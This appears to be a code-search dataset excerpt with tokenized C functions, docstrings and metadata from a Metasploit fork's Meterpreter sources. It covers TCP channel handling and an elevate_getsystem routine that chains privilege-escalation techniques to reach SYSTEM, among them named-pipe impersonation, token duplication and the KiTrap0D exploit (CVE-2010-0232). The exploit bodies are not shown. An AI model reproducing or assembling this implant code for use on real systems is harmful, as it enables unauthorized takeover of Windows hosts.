"DWORD",
"create_tcp_client_channel",
"(",
"Remote",
"*",
"remote",
",",
"LPCSTR",
"remoteHost",
",",
"USHORT",
"remotePort",
",",
"Channel",
"*",
"*",
"outChannel",
")",
"{",
"StreamChannelOps",
"chops",
";",
"TcpClientContext",
"*",
"ctx",
"=",
"NULL",
";",
"DWORD",
"result",
"=",
"ERROR_SUCCESS",
";",
"Channel",
"*",
"channel",
"=",
"NULL",
";",
"struct",
"sockaddr_in",
"s",
";",
"SOCKET",
"clientFd",
"=",
"0",
";",
"if",
"(",
"outChannel",
")",
"*",
"outChannel",
"=",
"NULL",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"remoteHost",
",",
"remotePort",
")",
";",
"do",
"{",
"if",
"(",
"(",
"clientFd",
"=",
"WSASocket",
"(",
"AF_INET",
",",
"SOCK_STREAM",
",",
"0",
",",
"NULL",
",",
"0",
",",
"0",
")",
")",
"==",
"INVALID_SOCKET",
")",
"{",
"clientFd",
"=",
"0",
";",
"result",
"=",
"GetLastError",
"(",
")",
";",
"break",
";",
"}",
"s",
".",
"sin_family",
"=",
"AF_INET",
";",
"s",
".",
"sin_port",
"=",
"htons",
"(",
"remotePort",
")",
";",
"s",
".",
"sin_addr",
".",
"s_addr",
"=",
"inet_addr",
"(",
"remoteHost",
")",
";",
"if",
"(",
"s",
".",
"sin_addr",
".",
"s_addr",
"==",
"(",
"DWORD",
")",
"-",
"1",
")",
"{",
"struct",
"hostent",
"*",
"h",
";",
"if",
"(",
"!",
"(",
"h",
"=",
"gethostbyname",
"(",
"remoteHost",
")",
")",
")",
"{",
"result",
"=",
"GetLastError",
"(",
")",
";",
"break",
";",
"}",
"memcpy",
"(",
"&",
"s",
".",
"sin_addr",
".",
"s_addr",
",",
"h",
"->",
"h_addr",
",",
"h",
"->",
"h_length",
")",
";",
"}",
"dprintf",
"(",
"\"",
"\"",
",",
"remoteHost",
",",
"remotePort",
")",
";",
"if",
"(",
"connect",
"(",
"clientFd",
",",
"(",
"struct",
"sockaddr",
"*",
")",
"&",
"s",
",",
"sizeof",
"(",
"s",
")",
")",
"==",
"SOCKET_ERROR",
")",
"{",
"result",
"=",
"GetLastError",
"(",
")",
";",
"break",
";",
"}",
"dprintf",
"(",
"\"",
"\"",
",",
"remoteHost",
",",
"remotePort",
")",
";",
"if",
"(",
"!",
"(",
"ctx",
"=",
"(",
"TcpClientContext",
"*",
")",
"malloc",
"(",
"sizeof",
"(",
"TcpClientContext",
")",
")",
")",
")",
"{",
"result",
"=",
"ERROR_NOT_ENOUGH_MEMORY",
";",
"break",
";",
"}",
"memset",
"(",
"ctx",
",",
"0",
",",
"sizeof",
"(",
"TcpClientContext",
")",
")",
";",
"ctx",
"->",
"remote",
"=",
"remote",
";",
"ctx",
"->",
"fd",
"=",
"clientFd",
";",
"memset",
"(",
"&",
"chops",
",",
"0",
",",
"sizeof",
"(",
"chops",
")",
")",
";",
"chops",
".",
"native",
".",
"context",
"=",
"ctx",
";",
"chops",
".",
"native",
".",
"write",
"=",
"tcp_channel_client_write",
";",
"chops",
".",
"native",
".",
"close",
"=",
"tcp_channel_client_close",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"remoteHost",
",",
"remotePort",
")",
";",
"if",
"(",
"!",
"(",
"channel",
"=",
"channel_create_stream",
"(",
"0",
",",
"0",
",",
"&",
"chops",
")",
")",
")",
"{",
"result",
"=",
"ERROR_NOT_ENOUGH_MEMORY",
";",
"break",
";",
"}",
"ctx",
"->",
"channel",
"=",
"channel",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"remoteHost",
",",
"remotePort",
")",
";",
"if",
"(",
"(",
"ctx",
"->",
"notify",
"=",
"WSACreateEvent",
"(",
")",
")",
")",
"{",
"WSAEventSelect",
"(",
"ctx",
"->",
"fd",
",",
"ctx",
"->",
"notify",
",",
"FD_READ",
"|",
"FD_CLOSE",
")",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"remoteHost",
",",
"remotePort",
",",
"ctx",
"->",
"notify",
")",
";",
"scheduler_insert_waitable",
"(",
"ctx",
"->",
"notify",
",",
"ctx",
",",
"(",
"WaitableNotifyRoutine",
")",
"tcp_channel_client_local_notify",
")",
";",
"}",
"}",
"while",
"(",
"0",
")",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"remoteHost",
",",
"remotePort",
")",
";",
"if",
"(",
"result",
"!=",
"ERROR_SUCCESS",
")",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"remoteHost",
",",
"remotePort",
")",
";",
"if",
"(",
"ctx",
")",
"free_tcp_client_context",
"(",
"ctx",
")",
";",
"if",
"(",
"clientFd",
")",
"closesocket",
"(",
"clientFd",
")",
";",
"channel",
"=",
"NULL",
";",
"}",
"if",
"(",
"outChannel",
")",
"*",
"outChannel",
"=",
"channel",
";",
"return",
"result",
";",
"}"
] | Creates a connection to a remote host and builds a logical channel to
represent it. | [
"Creates",
"a",
"connection",
"to",
"a",
"remote",
"host",
"and",
"builds",
"a",
"logical",
"channel",
"to",
"represent",
"it",
"."
] | [
"// Allocate a client socket\r",
"// Resolve the host name locally\r",
"// Try to connect to the host/port\r",
"// Allocate the client context for tracking the connection\r",
"// Initialize the context attributes\r",
"// Initialize the channel operations structure\r",
"// Allocate an uninitialized channel for associated with this connection\r",
"// Save the channel context association\r",
"// Finally, create a waitable event and insert it into the scheduler's \r",
"// waitable list\r",
"// Clean up on failure\r"
] | [
{
"param": "remote",
"type": "Remote"
},
{
"param": "remoteHost",
"type": "LPCSTR"
},
{
"param": "remotePort",
"type": "USHORT"
},
{
"param": "outChannel",
"type": "Channel"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "remoteHost",
"type": "LPCSTR",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "remotePort",
"type": "USHORT",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "outChannel",
"type": "Channel",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
126754ada31155fecb1f3c420ca36940a22ebc46 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | free_socket_context | VOID | VOID free_socket_context(SocketContext *ctx)
{
dprintf( "[TCP] free_socket_context. ctx=0x%08X", ctx );
// Close the socket and notification handle
if (ctx->fd){
closesocket(ctx->fd);
ctx->fd = 0;
}
if (ctx->channel) {
channel_close(ctx->channel, ctx->remote, NULL, 0, NULL);
ctx->channel = NULL;
}
if (ctx->notify)
{
dprintf( "[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify);
// The scheduler calls CloseHandle on our WSACreateEvent() for us
scheduler_remove_waitable(ctx->notify);
ctx->notify = NULL;
}
// Free the context
free(ctx);
} | /*
* Deallocates and cleans up the attributes of a socket context
*/ | Deallocates and cleans up the attributes of a socket context | [
"Deallocates",
"and",
"cleans",
"up",
"the",
"attributes",
"of",
"a",
"socket",
"context"
] | VOID free_socket_context(SocketContext *ctx)
{
dprintf( "[TCP] free_socket_context. ctx=0x%08X", ctx );
if (ctx->fd){
closesocket(ctx->fd);
ctx->fd = 0;
}
if (ctx->channel) {
channel_close(ctx->channel, ctx->remote, NULL, 0, NULL);
ctx->channel = NULL;
}
if (ctx->notify)
{
dprintf( "[TCP] free_socket_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->notify);
scheduler_remove_waitable(ctx->notify);
ctx->notify = NULL;
}
free(ctx);
} | [
"VOID",
"free_socket_context",
"(",
"SocketContext",
"*",
"ctx",
")",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"ctx",
")",
";",
"if",
"(",
"ctx",
"->",
"fd",
")",
"{",
"closesocket",
"(",
"ctx",
"->",
"fd",
")",
";",
"ctx",
"->",
"fd",
"=",
"0",
";",
"}",
"if",
"(",
"ctx",
"->",
"channel",
")",
"{",
"channel_close",
"(",
"ctx",
"->",
"channel",
",",
"ctx",
"->",
"remote",
",",
"NULL",
",",
"0",
",",
"NULL",
")",
";",
"ctx",
"->",
"channel",
"=",
"NULL",
";",
"}",
"if",
"(",
"ctx",
"->",
"notify",
")",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"ctx",
",",
"ctx",
"->",
"notify",
")",
";",
"scheduler_remove_waitable",
"(",
"ctx",
"->",
"notify",
")",
";",
"ctx",
"->",
"notify",
"=",
"NULL",
";",
"}",
"free",
"(",
"ctx",
")",
";",
"}"
] | Deallocates and cleans up the attributes of a socket context | [
"Deallocates",
"and",
"cleans",
"up",
"the",
"attributes",
"of",
"a",
"socket",
"context"
] | [
"// Close the socket and notification handle\r",
"// The scheduler calls CloseHandle on our WSACreateEvent() for us\r",
"// Free the context\r"
] | [
{
"param": "ctx",
"type": "SocketContext"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "ctx",
"type": "SocketContext",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
126754ada31155fecb1f3c420ca36940a22ebc46 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | request_net_socket_tcp_shutdown | DWORD | DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
SocketContext * ctx = NULL;
Channel * channel = NULL;
DWORD cid = 0;
DWORD how = 0;
do
{
dprintf( "[TCP] entering request_net_socket_tcp_shutdown" );
response = packet_create_response( packet );
if( !response )
BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY );
cid = packet_get_tlv_value_uint( packet, TLV_TYPE_CHANNEL_ID );
how = packet_get_tlv_value_uint( packet, TLV_TYPE_SHUTDOWN_HOW );
channel = channel_find_by_id( cid );
if( !response )
BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE );
dprintf( "[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid );
ctx = channel_get_native_io_context( channel );
if( !ctx )
BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE );
if( shutdown( ctx->fd, how ) == SOCKET_ERROR )
BREAK_ON_WSAERROR( "[TCP] request_net_socket_tcp_shutdown. shutdown failed" );
// sf: we dont seem to need to call this here, as the channels tcp_channel_client_local_notify() will
// catch the socket closure and call free_socket_context() for us, due the the FD_READ|FD_CLOSE flags
// being passed to WSAEventSelect for the notify event in create_tcp_client_channel().
// This avoids a double call (from two different threads) and subsequent access violation in some edge cases.
//free_socket_context( ctx );
} while( 0 );
packet_transmit_response( dwResult, remote, response );
dprintf( "[TCP] leaving request_net_socket_tcp_shutdown" );
return ERROR_SUCCESS;
} | /*
* Shuts the socket down for either reading or writing based on the how
* parameter supplied by the remote side
*/ | Shuts the socket down for either reading or writing based on the how
parameter supplied by the remote side | [
"Shuts",
"the",
"socket",
"down",
"for",
"either",
"reading",
"or",
"writing",
"based",
"on",
"the",
"how",
"parameter",
"supplied",
"by",
"the",
"remote",
"side"
] | DWORD request_net_socket_tcp_shutdown(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
SocketContext * ctx = NULL;
Channel * channel = NULL;
DWORD cid = 0;
DWORD how = 0;
do
{
dprintf( "[TCP] entering request_net_socket_tcp_shutdown" );
response = packet_create_response( packet );
if( !response )
BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. response == NULL", ERROR_NOT_ENOUGH_MEMORY );
cid = packet_get_tlv_value_uint( packet, TLV_TYPE_CHANNEL_ID );
how = packet_get_tlv_value_uint( packet, TLV_TYPE_SHUTDOWN_HOW );
channel = channel_find_by_id( cid );
if( !response )
BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. channel == NULL", ERROR_INVALID_HANDLE );
dprintf( "[TCP] request_net_socket_tcp_shutdown. channel=0x%08X, cid=%d", channel, cid );
ctx = channel_get_native_io_context( channel );
if( !ctx )
BREAK_WITH_ERROR( "[TCP] request_net_socket_tcp_shutdown. ctx == NULL", ERROR_INVALID_HANDLE );
if( shutdown( ctx->fd, how ) == SOCKET_ERROR )
BREAK_ON_WSAERROR( "[TCP] request_net_socket_tcp_shutdown. shutdown failed" );
} while( 0 );
packet_transmit_response( dwResult, remote, response );
dprintf( "[TCP] leaving request_net_socket_tcp_shutdown" );
return ERROR_SUCCESS;
} | [
"DWORD",
"request_net_socket_tcp_shutdown",
"(",
"Remote",
"*",
"remote",
",",
"Packet",
"*",
"packet",
")",
"{",
"DWORD",
"dwResult",
"=",
"ERROR_SUCCESS",
";",
"Packet",
"*",
"response",
"=",
"NULL",
";",
"SocketContext",
"*",
"ctx",
"=",
"NULL",
";",
"Channel",
"*",
"channel",
"=",
"NULL",
";",
"DWORD",
"cid",
"=",
"0",
";",
"DWORD",
"how",
"=",
"0",
";",
"do",
"{",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"response",
"=",
"packet_create_response",
"(",
"packet",
")",
";",
"if",
"(",
"!",
"response",
")",
"BREAK_WITH_ERROR",
"(",
"\"",
"\"",
",",
"ERROR_NOT_ENOUGH_MEMORY",
")",
";",
"cid",
"=",
"packet_get_tlv_value_uint",
"(",
"packet",
",",
"TLV_TYPE_CHANNEL_ID",
")",
";",
"how",
"=",
"packet_get_tlv_value_uint",
"(",
"packet",
",",
"TLV_TYPE_SHUTDOWN_HOW",
")",
";",
"channel",
"=",
"channel_find_by_id",
"(",
"cid",
")",
";",
"if",
"(",
"!",
"response",
")",
"BREAK_WITH_ERROR",
"(",
"\"",
"\"",
",",
"ERROR_INVALID_HANDLE",
")",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"channel",
",",
"cid",
")",
";",
"ctx",
"=",
"channel_get_native_io_context",
"(",
"channel",
")",
";",
"if",
"(",
"!",
"ctx",
")",
"BREAK_WITH_ERROR",
"(",
"\"",
"\"",
",",
"ERROR_INVALID_HANDLE",
")",
";",
"if",
"(",
"shutdown",
"(",
"ctx",
"->",
"fd",
",",
"how",
")",
"==",
"SOCKET_ERROR",
")",
"BREAK_ON_WSAERROR",
"(",
"\"",
"\"",
")",
";",
"}",
"while",
"(",
"0",
")",
";",
"packet_transmit_response",
"(",
"dwResult",
",",
"remote",
",",
"response",
")",
";",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"return",
"ERROR_SUCCESS",
";",
"}"
] | Shuts the socket down for either reading or writing based on the how
parameter supplied by the remote side | [
"Shuts",
"the",
"socket",
"down",
"for",
"either",
"reading",
"or",
"writing",
"based",
"on",
"the",
"how",
"parameter",
"supplied",
"by",
"the",
"remote",
"side"
] | [
"// sf: we dont seem to need to call this here, as the channels tcp_channel_client_local_notify() will \r",
"// catch the socket closure and call free_socket_context() for us, due the the FD_READ|FD_CLOSE flags \r",
"// being passed to WSAEventSelect for the notify event in create_tcp_client_channel().\r",
"// This avoids a double call (from two different threads) and subsequent access violation in some edge cases.\r",
"//free_socket_context( ctx );\r"
] | [
{
"param": "remote",
"type": "Remote"
},
{
"param": "packet",
"type": "Packet"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "packet",
"type": "Packet",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
9c418a6a5f4c378f30aba7d1523e1fe3be094363 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/priv/server/elevate/elevate.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | elevate_getnativearch | DWORD | DWORD elevate_getnativearch( VOID )
{
HANDLE hKernel = NULL;
GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL;
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
SYSTEM_INFO SystemInfo = {0};
do
{
// default to 'x86' as if kernel32!GetNativeSystemInfo is not present then we are on an old x86 system.
dwNativeArch = PROCESS_ARCH_X86;
hKernel = LoadLibraryA( "kernel32.dll" );
if( !hKernel )
break;
pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress( hKernel, "GetNativeSystemInfo" );
if( !pGetNativeSystemInfo )
break;
pGetNativeSystemInfo( &SystemInfo );
switch( SystemInfo.wProcessorArchitecture )
{
case PROCESSOR_ARCHITECTURE_AMD64:
dwNativeArch = PROCESS_ARCH_X64;
break;
case PROCESSOR_ARCHITECTURE_IA64:
dwNativeArch = PROCESS_ARCH_IA64;
break;
case PROCESSOR_ARCHITECTURE_INTEL:
dwNativeArch = PROCESS_ARCH_X86;
break;
default:
dwNativeArch = PROCESS_ARCH_UNKNOWN;
break;
}
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwNativeArch;
} | /*
* Get the native architecture of the system we are running on. (ripped from the stdapi's ps.c)
*/ | Get the native architecture of the system we are running on. (ripped from the stdapi's ps.c) | [
"Get",
"the",
"native",
"architecture",
"of",
"the",
"system",
"we",
"are",
"running",
"on",
".",
"(",
"ripped",
"from",
"the",
"stdapi",
"'",
"s",
"ps",
".",
"c",
")"
] | DWORD elevate_getnativearch( VOID )
{
HANDLE hKernel = NULL;
GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL;
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
SYSTEM_INFO SystemInfo = {0};
do
{
dwNativeArch = PROCESS_ARCH_X86;
hKernel = LoadLibraryA( "kernel32.dll" );
if( !hKernel )
break;
pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress( hKernel, "GetNativeSystemInfo" );
if( !pGetNativeSystemInfo )
break;
pGetNativeSystemInfo( &SystemInfo );
switch( SystemInfo.wProcessorArchitecture )
{
case PROCESSOR_ARCHITECTURE_AMD64:
dwNativeArch = PROCESS_ARCH_X64;
break;
case PROCESSOR_ARCHITECTURE_IA64:
dwNativeArch = PROCESS_ARCH_IA64;
break;
case PROCESSOR_ARCHITECTURE_INTEL:
dwNativeArch = PROCESS_ARCH_X86;
break;
default:
dwNativeArch = PROCESS_ARCH_UNKNOWN;
break;
}
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwNativeArch;
} | [
"DWORD",
"elevate_getnativearch",
"(",
"VOID",
")",
"{",
"HANDLE",
"hKernel",
"=",
"NULL",
";",
"GETNATIVESYSTEMINFO",
"pGetNativeSystemInfo",
"=",
"NULL",
";",
"DWORD",
"dwNativeArch",
"=",
"PROCESS_ARCH_UNKNOWN",
";",
"SYSTEM_INFO",
"SystemInfo",
"=",
"{",
"0",
"}",
";",
"do",
"{",
"dwNativeArch",
"=",
"PROCESS_ARCH_X86",
";",
"hKernel",
"=",
"LoadLibraryA",
"(",
"\"",
"\"",
")",
";",
"if",
"(",
"!",
"hKernel",
")",
"break",
";",
"pGetNativeSystemInfo",
"=",
"(",
"GETNATIVESYSTEMINFO",
")",
"GetProcAddress",
"(",
"hKernel",
",",
"\"",
"\"",
")",
";",
"if",
"(",
"!",
"pGetNativeSystemInfo",
")",
"break",
";",
"pGetNativeSystemInfo",
"(",
"&",
"SystemInfo",
")",
";",
"switch",
"(",
"SystemInfo",
".",
"wProcessorArchitecture",
")",
"{",
"case",
"PROCESSOR_ARCHITECTURE_AMD64",
":",
"dwNativeArch",
"=",
"PROCESS_ARCH_X64",
";",
"break",
";",
"case",
"PROCESSOR_ARCHITECTURE_IA64",
":",
"dwNativeArch",
"=",
"PROCESS_ARCH_IA64",
";",
"break",
";",
"case",
"PROCESSOR_ARCHITECTURE_INTEL",
":",
"dwNativeArch",
"=",
"PROCESS_ARCH_X86",
";",
"break",
";",
"default",
":",
"dwNativeArch",
"=",
"PROCESS_ARCH_UNKNOWN",
";",
"break",
";",
"}",
"}",
"while",
"(",
"0",
")",
";",
"if",
"(",
"hKernel",
")",
"FreeLibrary",
"(",
"hKernel",
")",
";",
"return",
"dwNativeArch",
";",
"}"
] | Get the native architecture of the system we are running on. | [
"Get",
"the",
"native",
"architecture",
"of",
"the",
"system",
"we",
"are",
"running",
"on",
"."
] | [
"// default to 'x86' as if kernel32!GetNativeSystemInfo is not present then we are on an old x86 system.\r"
] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
9c418a6a5f4c378f30aba7d1523e1fe3be094363 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/priv/server/elevate/elevate.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | elevate_getsystem | DWORD | DWORD elevate_getsystem( Remote * remote, Packet * packet )
{
DWORD dwResult = ERROR_SUCCESS;
DWORD dwTechnique = ELEVATE_TECHNIQUE_ANY;
Packet * response = NULL;
do
{
response = packet_create_response( packet );
if( !response )
BREAK_WITH_ERROR( "[ELEVATE] get_system. packet_create_response failed", ERROR_INVALID_HANDLE );
dwTechnique = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE );
// if we are to to use ELEVATE_TECHNIQUE_ANY, we try everything at our disposal...
if( dwTechnique == ELEVATE_TECHNIQUE_ANY )
{
do
{
// firstly, try to use the in-memory named pipe impersonation technique (Requires Local Admin rights)
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE;
dwResult = elevate_via_service_namedpipe( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
// secondly, try to use the in-memory KiTrap0D exploit (CVE-2010-0232) (Requires Local User rights and vulnerable system)
// Note: If successfully, we end up replacing our processes primary token and as such cant rev3self at a later stage.
dwTechnique = ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D;
dwResult = elevate_via_exploit_kitrap0d( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
// thirdly, try to use the in-memory service token duplication technique (Requires Local Admin rights and SeDebugPrivilege)
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_TOKENDUP;
dwResult = elevate_via_service_tokendup( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
// fourthly, try to use the touching disk named pipe impersonation technique (Requires Local Admin rights)
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2;
dwResult = elevate_via_service_namedpipe2( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
} while( 0 );
}
else
{
// if we are to only use a specific technique, try the specified one and return the success...
switch( dwTechnique )
{
case ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE:
dwResult = elevate_via_service_namedpipe( remote, packet );
break;
case ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2:
dwResult = elevate_via_service_namedpipe2( remote, packet );
break;
case ELEVATE_TECHNIQUE_SERVICE_TOKENDUP:
dwResult = elevate_via_service_tokendup( remote, packet );
break;
case ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D:
dwResult = elevate_via_exploit_kitrap0d( remote, packet );
break;
default:
dwResult = ERROR_CALL_NOT_IMPLEMENTED;
break;
}
}
} while( 0 );
if( response )
{
if( dwResult == ERROR_SUCCESS )
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwTechnique );
else
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, ELEVATE_TECHNIQUE_NONE );
packet_transmit_response( dwResult, remote, response );
}
return dwResult;
} | /*
* Attempt to elevate the current meterpreter to local system using a variety of techniques.
*/ | Attempt to elevate the current meterpreter to local system using a variety of techniques. | [
"Attempt",
"to",
"elevate",
"the",
"current",
"meterpreter",
"to",
"local",
"system",
"using",
"a",
"variety",
"of",
"techniques",
"."
] | DWORD elevate_getsystem( Remote * remote, Packet * packet )
{
DWORD dwResult = ERROR_SUCCESS;
DWORD dwTechnique = ELEVATE_TECHNIQUE_ANY;
Packet * response = NULL;
do
{
response = packet_create_response( packet );
if( !response )
BREAK_WITH_ERROR( "[ELEVATE] get_system. packet_create_response failed", ERROR_INVALID_HANDLE );
dwTechnique = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE );
if( dwTechnique == ELEVATE_TECHNIQUE_ANY )
{
do
{
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE;
dwResult = elevate_via_service_namedpipe( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
dwTechnique = ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D;
dwResult = elevate_via_exploit_kitrap0d( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_TOKENDUP;
dwResult = elevate_via_service_tokendup( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2;
dwResult = elevate_via_service_namedpipe2( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
} while( 0 );
}
else
{
switch( dwTechnique )
{
case ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE:
dwResult = elevate_via_service_namedpipe( remote, packet );
break;
case ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2:
dwResult = elevate_via_service_namedpipe2( remote, packet );
break;
case ELEVATE_TECHNIQUE_SERVICE_TOKENDUP:
dwResult = elevate_via_service_tokendup( remote, packet );
break;
case ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D:
dwResult = elevate_via_exploit_kitrap0d( remote, packet );
break;
default:
dwResult = ERROR_CALL_NOT_IMPLEMENTED;
break;
}
}
} while( 0 );
if( response )
{
if( dwResult == ERROR_SUCCESS )
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwTechnique );
else
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, ELEVATE_TECHNIQUE_NONE );
packet_transmit_response( dwResult, remote, response );
}
return dwResult;
} | [
"DWORD",
"elevate_getsystem",
"(",
"Remote",
"*",
"remote",
",",
"Packet",
"*",
"packet",
")",
"{",
"DWORD",
"dwResult",
"=",
"ERROR_SUCCESS",
";",
"DWORD",
"dwTechnique",
"=",
"ELEVATE_TECHNIQUE_ANY",
";",
"Packet",
"*",
"response",
"=",
"NULL",
";",
"do",
"{",
"response",
"=",
"packet_create_response",
"(",
"packet",
")",
";",
"if",
"(",
"!",
"response",
")",
"BREAK_WITH_ERROR",
"(",
"\"",
"\"",
",",
"ERROR_INVALID_HANDLE",
")",
";",
"dwTechnique",
"=",
"packet_get_tlv_value_uint",
"(",
"packet",
",",
"TLV_TYPE_ELEVATE_TECHNIQUE",
")",
";",
"if",
"(",
"dwTechnique",
"==",
"ELEVATE_TECHNIQUE_ANY",
")",
"{",
"do",
"{",
"dwTechnique",
"=",
"ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE",
";",
"dwResult",
"=",
"elevate_via_service_namedpipe",
"(",
"remote",
",",
"packet",
")",
";",
"if",
"(",
"dwResult",
"==",
"ERROR_SUCCESS",
")",
"break",
";",
"dwTechnique",
"=",
"ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D",
";",
"dwResult",
"=",
"elevate_via_exploit_kitrap0d",
"(",
"remote",
",",
"packet",
")",
";",
"if",
"(",
"dwResult",
"==",
"ERROR_SUCCESS",
")",
"break",
";",
"dwTechnique",
"=",
"ELEVATE_TECHNIQUE_SERVICE_TOKENDUP",
";",
"dwResult",
"=",
"elevate_via_service_tokendup",
"(",
"remote",
",",
"packet",
")",
";",
"if",
"(",
"dwResult",
"==",
"ERROR_SUCCESS",
")",
"break",
";",
"dwTechnique",
"=",
"ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2",
";",
"dwResult",
"=",
"elevate_via_service_namedpipe2",
"(",
"remote",
",",
"packet",
")",
";",
"if",
"(",
"dwResult",
"==",
"ERROR_SUCCESS",
")",
"break",
";",
"}",
"while",
"(",
"0",
")",
";",
"}",
"else",
"{",
"switch",
"(",
"dwTechnique",
")",
"{",
"case",
"ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE",
":",
"dwResult",
"=",
"elevate_via_service_namedpipe",
"(",
"remote",
",",
"packet",
")",
";",
"break",
";",
"case",
"ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2",
":",
"dwResult",
"=",
"elevate_via_service_namedpipe2",
"(",
"remote",
",",
"packet",
")",
";",
"break",
";",
"case",
"ELEVATE_TECHNIQUE_SERVICE_TOKENDUP",
":",
"dwResult",
"=",
"elevate_via_service_tokendup",
"(",
"remote",
",",
"packet",
")",
";",
"break",
";",
"case",
"ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D",
":",
"dwResult",
"=",
"elevate_via_exploit_kitrap0d",
"(",
"remote",
",",
"packet",
")",
";",
"break",
";",
"default",
":",
"dwResult",
"=",
"ERROR_CALL_NOT_IMPLEMENTED",
";",
"break",
";",
"}",
"}",
"}",
"while",
"(",
"0",
")",
";",
"if",
"(",
"response",
")",
"{",
"if",
"(",
"dwResult",
"==",
"ERROR_SUCCESS",
")",
"packet_add_tlv_uint",
"(",
"response",
",",
"TLV_TYPE_ELEVATE_TECHNIQUE",
",",
"dwTechnique",
")",
";",
"else",
"packet_add_tlv_uint",
"(",
"response",
",",
"TLV_TYPE_ELEVATE_TECHNIQUE",
",",
"ELEVATE_TECHNIQUE_NONE",
")",
";",
"packet_transmit_response",
"(",
"dwResult",
",",
"remote",
",",
"response",
")",
";",
"}",
"return",
"dwResult",
";",
"}"
